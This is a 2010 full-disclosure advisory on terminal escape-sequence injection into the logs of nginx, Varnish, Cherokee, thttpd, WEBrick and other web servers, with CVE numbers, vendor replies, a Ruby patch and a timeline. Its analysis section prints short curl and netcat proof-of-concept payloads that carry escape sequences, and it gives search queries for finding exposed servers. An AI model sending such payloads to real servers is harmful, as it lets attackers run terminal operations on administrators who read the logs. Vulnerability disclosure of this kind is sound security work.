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[Full-disclosure] Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection

From: ascii <ascii_at_nospam>
Date: Sun Jan 10 2010 - 20:19:07 GMT
To: Bugtraq <bugtraq@securityfocus.com>, Full-Disclosure <full-disclosure@lists.grok.org.uk>

Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection Name Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection Systems Affected nginx 0.7.64 Varnish 2.0.6 Cherokee 0.99.30 mini_httpd 1.19 thttpd 2.25b0 WEBrick 1.3.1 Orion 2.0.7 AOLserver 4.5.1 Yaws 1.85 Boa 0.94.14rc21 Severity Medium Impact (CVSSv2) Medium 5/10, vector: (AV:N/AC:L/Au:N/C:P/I:N/A:N) Vendor http://www.nginx.net/ http://varnish.projects.linpro.no/ http://www.cherokee-project.com/ http://www.ruby-lang.org/ http://www.acme.com/software/thttpd/ http://www.acme.com/software/mini_httpd/ http://www.orionserver.com/ http://www.aolserver.com/ http://yaws.hyber.org/ http://www.boa.org/ Advisory http://www.ush.it/team/ush/hack_httpd_escape/adv.txt Authors Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it) Alessandro "jekil" Tanasi (alessandro AT tanasi DOT it) Francesco "ascii" Ongaro (ascii AT ush DOT it) Date 20100110

I. BACKGROUND nginx is a HTTP and reverse proxy server written by Igor Sysoev. Varnish is a state-of-the-art, high-performance HTTP accelerator. Cherokee is a very fast, flexible and easy to configure Web Server. thttpd is a simple, small, portable, fast, and secure HTTP server. mini_httpd is a small HTTP server.
WEBrick is a Ruby library providing simple HTTP web server services. Orion Application Server is a pure java application-server. AOLserver is America Online's Open-Source web server. Yaws is a HTTP high perfomance 1.1 webserver. Boa is a single-tasking HTTP server.

II. DESCRIPTION Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa are subject to logs escape sequence injection vulnerabilites.

Escape sequences are special characters sequences that are used to instruct the terminal to perform special operations like executing commands [4, 5] or dumping the buffer to a file [6, 7].

When the webserver is executed in foreground in a pty or when the logfiles are viewed with tools like "cat" or "tail" such control chars reach the terminal and are executed.

III. ANALYSIS Summary:

1. "nginx" log escape sequence injection
   (Affected versions: 0.7.64 and probably earlier versions)
   
2. "Varnish" log escape sequence injection
   (Affected versions: 2.0.6 and probably earlier versions)
   
3. "Cherokee" log escape sequence injection
   (Affected versions: 0.99.30 and probably earlier versions)
   
4. "thttpd" log escape sequence injection
   (Affected versions: thttpd/2.25b and probably earlier versions)
   
5. "mini_httpd" log escape sequence injection
   (Affected versions: 1.19 and probably earlier versions)
   
6. "WEBrick" log escape sequence injection
   (Affected versions: 1.3.1 and probably earlier versions)
   
7. "Orion" log escape sequence injection
   (Affected versions: 2.0.7 and probably earlier versions)
   
8. "AOLserver" log escape sequence injection
   (Affected versions: 4.5.1 and probably earlier versions)
   
9. "Yaws" log escape sequence injection
   (Affected versions: 1.85 and probably earlier versions)
   
10. "Boa" log escape sequence injection
    (Affected versions: 0.94.14rc21 and probably earlier versions)
    
11. "nginx" log escape sequence injection

One of the following two Proofs Of Concept can be used in order to verify the vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload

B) "Varnish" log escape sequence injection

One of the following two Proofs Of Concept can be used in order to verify the vulnerability.

xterm varnishlog

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload

C) "Cherokee" log escape sequence injection

The following Proof Of Concept can be used in order to verify the vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

D) "thttpd" log escape sequence injection

The following Proof Of Concept can be used in order to verify the vulnerability.

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload

E) "mini_httpd" log escape sequence injection

One of the following two Proofs Of Concept can be used in order to verify the vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload

F) "WEBrick" log escape sequence injection

One of the following two Proofs Of Concept can be used in order to verify the vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload

G) "Orion" log escape sequence injection

One of the following two Proofs Of Concept can be used in order to verify the vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload

H) "AOLserver" log escape sequence injection

The following Proof Of Concept can be used in order to verify the vulnerability.

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload

I) "Yaws" log escape sequence injection

One of the following two Proofs Of Concept can be used in order to verify the vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload

L) "Boa" log escape sequence injection

The following Proof Of Concept can be used in order to verify the vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

IV. DETECTION Services like Shodan (shodan.surtri.com) or Google can be used to get an approximate idea on the usage of the products.

Some examples:

• http://shodan.surtri.com/?q=nginx
• http://www.google.com/search?q="powered+by+Cherokee"
• curl -kis http://www.antani.gov | grep -E "Server: Orion/2.0.8" V. WORKAROUND

Cherokee and WEBrick (Ruby) released related security fixes and releases as detailed below.

Cherokee issued a public patch that resolved the issue but caused some issues (http://svn.cherokee-project.com/changeset/3944) and has been later replaced (http://svn.cherokee-project.com/changeset/3977) by a better fix that both resolve the issue and doesn't affect the normal webserver behavior. Use the second patch or a safe release like 0.99.34 or above. If you are using Cherokee 0.99.32 please note that your build uses the first patch.

Webrick (Ruby) sent us the following patch and issued a release that fixes the issues. Detailed informations are available at the following url:

http://www.ruby-lang.org/en/news/2010/01/10/webrick-escape-sequence-injection

The patch we reviewed is the following but please refer to the vendor's article for exact informations.

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Index: lib/webrick/httpstatus.rb

---

• lib/webrick/httpstatus.rb (revision 26065) +++ lib/webrick/httpstatus.rb (working copy) @@ -13,5 +13,15 @@ module WEBrick module HTTPStatus
  • class Status < StandardError; end + class Status < StandardError + def initialize(message, *rest) + super(AccessLog.escape(message), *rest) + end + class << self + attr_reader :code, :reason_phrase + end + def code() self::class::code end + def reason_phrase() self::class::reason_phrase end + alias to_i code + end class Info < Status; end class Success < Status; end @@ -69,4 +79,5 @@ module WEBrick

StatusMessage.each{|code, message| + message.freeze var_name = message.gsub(/[ \-]/,'_').upcase err_name = message.gsub(/[ \-]/,'') @@ -80,16 +91,10 @@ module WEBrick end - eval %- - RC_#{var_name} = #{code} - class #{err_name} < #{parent} - def self.code() RC_#{var_name} end - def self.reason_phrase() StatusMessage[code] end - def code() self::class::code end - def reason_phrase() self::class::reason_phrase end - alias to_i code - end - - - - CodeToError[code] = const_get(err_name) + const_set("RC_#{var_name}", code) + err_class = Class.new(parent) + err_class.instance_variable_set(:@code, code) + err_class.instance_variable_set(:@reason_phrase, message) + const_set(err_name, err_class) + CodeToError[code] = err_class }

Index: lib/webrick/httprequest.rb

---

• lib/webrick/httprequest.rb (revision 26065) +++ lib/webrick/httprequest.rb (working copy) @@ -267,9 +267,5 @@ module WEBrick end end - begin - @header = HTTPUtils::parse_header(@raw_header.join) - rescue => ex - raise HTTPStatus::BadRequest, ex.message - end + @header = HTTPUtils::parse_header(@raw_header.join) end

Index: lib/webrick/httputils.rb

---

• lib/webrick/httputils.rb (revision 26065) +++ lib/webrick/httputils.rb (working copy) @@ -130,9 +130,9 @@ module WEBrick value = $1 unless field - raise "bad header '#{line.inspect}'." + raise HTTPStatus::BadRequest, "bad header '#{line}'." end header[field][-1] << " " << value else - raise "bad header '#{line.inspect}'." + raise HTTPStatus::BadRequest, "bad header '#{line}'." end }

Index: lib/webrick/accesslog.rb

---

• lib/webrick/accesslog.rb (revision 26065) +++ lib/webrick/accesslog.rb (working copy) @@ -54,5 +54,5 @@ module WEBrick raise AccessLogError, "parameter is required for \"#{spec}\"" unless param - params[spec][param] || "-" + param = params[spec][param] ? escape(param) : "-" when ?t params[spec].strftime(param || CLF_TIME_FORMAT) @@ -60,8 +60,16 @@ module WEBrick "%" else - params[spec] + escape(params[spec].to_s) end } end + + def escape(data) + if data.tainted? + data.gsub(/[[:cntrl:]\\]+/) {$&.dump[1...-1]}.untaint + else + data + end + end end end

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VI. VENDOR RESPONSE We contacted the vendors of eleven affected webservers, counting the previous advisory [1] for Jetty. Three fixed the issue (Cherokee, WEBrick/Ruby and Jetty), one will not fix the issue (Varnish) and one acknowledged the issue (AOLserver). Nginx NO-RESPONSE Cherokee FIXED thttpd NO-RESPONSE mini-httpd NO-RESPONSE WEBrick FIXED Orion NO-RESPONSE AOLserver ACK Yaws NO-RESPONSE Boa NO-RESPONSE Varnish WONT-FIX

The response was overall good and it was nice to work with them, in particular we want to thank Cherokee's staff, Ruby's staff, Raphael Geissert (Debian) and Steven M. Christey (Mitre) for the support.

Poul-Henning Kamp (Varnish) replied to our contact email with the following email that we quote as-is.

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The official Varnish response, which I ask that you include in its entirety in your advisory, if you list Varnish as "vulnerable" in it:

This is not a security problem in Varnish or any other piece of software which writes a logfile.

The real problem is the mistaken belief that you can cat(1) a random logfile to your terminal safely.

This is not a new issue. I first remember the issue with xterm(1)'s inadvisably implemented escape-sequences in a root-context, brought up heatedly, in 1988, possibly late 1987, at Copenhagens University Computer Science dept. (Diku.dk). Since then, nothing much have changed.

The wisdom of terminal-response-escapes in general have been questioned at regular intervals, but still none of the major terminal emulation programs have seen fit to discard these sequences, probably in a misguided attempt at compatibility with no longer used 1970'es technology.

I admit that listing "found a security hole in all HTTP-related programs that write logfiles" will look more impressive on a resume, but I think it is misguided and a sign of trophy-hunting having overtaken common sense.

Instead of blaming any and all programs which writes logfiles, it would be much more productive, from a security point of view, to get the terminal emulation programs to stop doing stupid things, and thus fix this and other security problems once and for all.

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We would like to punctuate the following facts:

1. We totally agree that the root of the problem is an unwise design in the terminal emulators. If in 70' controls were sent out of band on a secondary channel we would not have the equivalent of Blue Boxing in the terminal.

This is a known issue from years. We didn't invented this attack vector and never claimed so. We don't think that design changes will happen in the short or mid term so it's better to have a proactive approach and sanitize outputs where functionalities are likely to not be affected at all like in this case.

Security in complex systems requires some sinergy.

2) Varnish is the only program that doesn't need a "cat" program as logs are stored in memory and displayed using the "varnishlog" utility.

2) Apache fixed a similiar bug (CVE-2003-0020), "Low: Error log escape filtering", in 2004 (six years ago). The bug was affecting Apache up to 1.3.29 [8] or 2.0.48 [9] depending on the branch.

Take you conclusion, criticize if you want. In the meantime things are a little safer.

VII. CVE INFORMATION CVE-2009-4487 nginx 0.7.64 CVE-2009-4488 Varnish 2.0.6 CVE-2009-4489 Cherokee 0.99.30 CVE-2009-4490 mini_httpd 1.19 CVE-2009-4491 thttpd 2.25b0 CVE-2009-4492 WEBrick 1.3.1 CVE-2009-4493 Orion 2.0.7 CVE-2009-4494 AOLserver 4.5.1 CVE-2009-4495 Yaws 1.85 CVE-2009-4496 Boa 0.94.14rc21

VIII. DISCLOSURE TIMELINE 20091117 Bug discovered
20091208 First vendor contact
20091209 Cherokee team confirms vulnerability (Alvaro Lopez Ortega) 20091209 Alvaro Lopez Ortega commits Cherokee patch 20091210 Ruby team confirms vulnerability (Shugo Maeda) 20091211 Shugo Maeda sends us webrick patch for evaulation 20091211 AOLserver confirms vulnerability (Jim Davidson) 20091221 Contacted Raphael Geissert (Debian Security) 20091223 Contacted Steven M. Christey (mitre.org) 20091230 Raphael Geissert forwards to Redhat, Debian, Ubuntu and Mitre 20091230 CVEs assigned by Steven M. Christey 20100105 Poul-Henning (Varnish) Kamp said WONT-FIX 20100105 Ruby team is ready for commit (Urabe Shyouhei) 20100106 Second vendor contact
20100110 Advisory release

IX. REFERENCES [1] Jetty 6.x and 7.x Multiple Vulnerabilities

    http://www.ush.it/team/ush/hack-jetty6x7x/jetty-adv.txt [2] Apache does not filter terminal escape sequences from error logs

    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0020 [3] Apache does not filter terminal escape sequences from access logs

    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0083 [4] Debian GNU/Linux XTERM (DECRQSS/comments) Weakness Vulnerability

    http://www.milw0rm.com/exploits/7681 [5] Terminal Emulator Security Issues

    http://marc.info/?l=bugtraq&m=104612710031920&w=2 [6] Eterm Screen Dump Escape Sequence Local File Corruption Vulnerability

    http://www.securityfocus.com/bid/6936/discuss [7] RXVT Screen Dump Escape Sequence Local File Corruption Vulnerability

    http://www.securityfocus.com/bid/6938/discuss [8] Apache httpd 1.3 vulnerabilities

    http://httpd.apache.org/security/vulnerabilities_13.html [9] Apache httpd 2.2 vulnerabilities

    http://httpd.apache.org/security/vulnerabilities_22.html

X. CREDIT Giovanni "evilaliv3" Pellerano, Alessandro "jekil" Tanasi and Francesco "ascii" Ongaro are credited with the discovery of this vulnerability.

Giovanni "evilaliv3" Pellerano
web site: http://www.ush.it/, http://www.evilaliv3.org/ mail: evilaliv3 AT ush DOT it

Alessandro "jekil" Tanasi
web site: http://www.tanasi.it/
mail: alessandro AT tanasi DOT it

Francesco "ascii" Ongaro
web site: http://www.ush.it/
mail: ascii AT ush DOT it

X. LEGAL NOTICES Copyright (c) 2009 Francesco "ascii" Ongaro

Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

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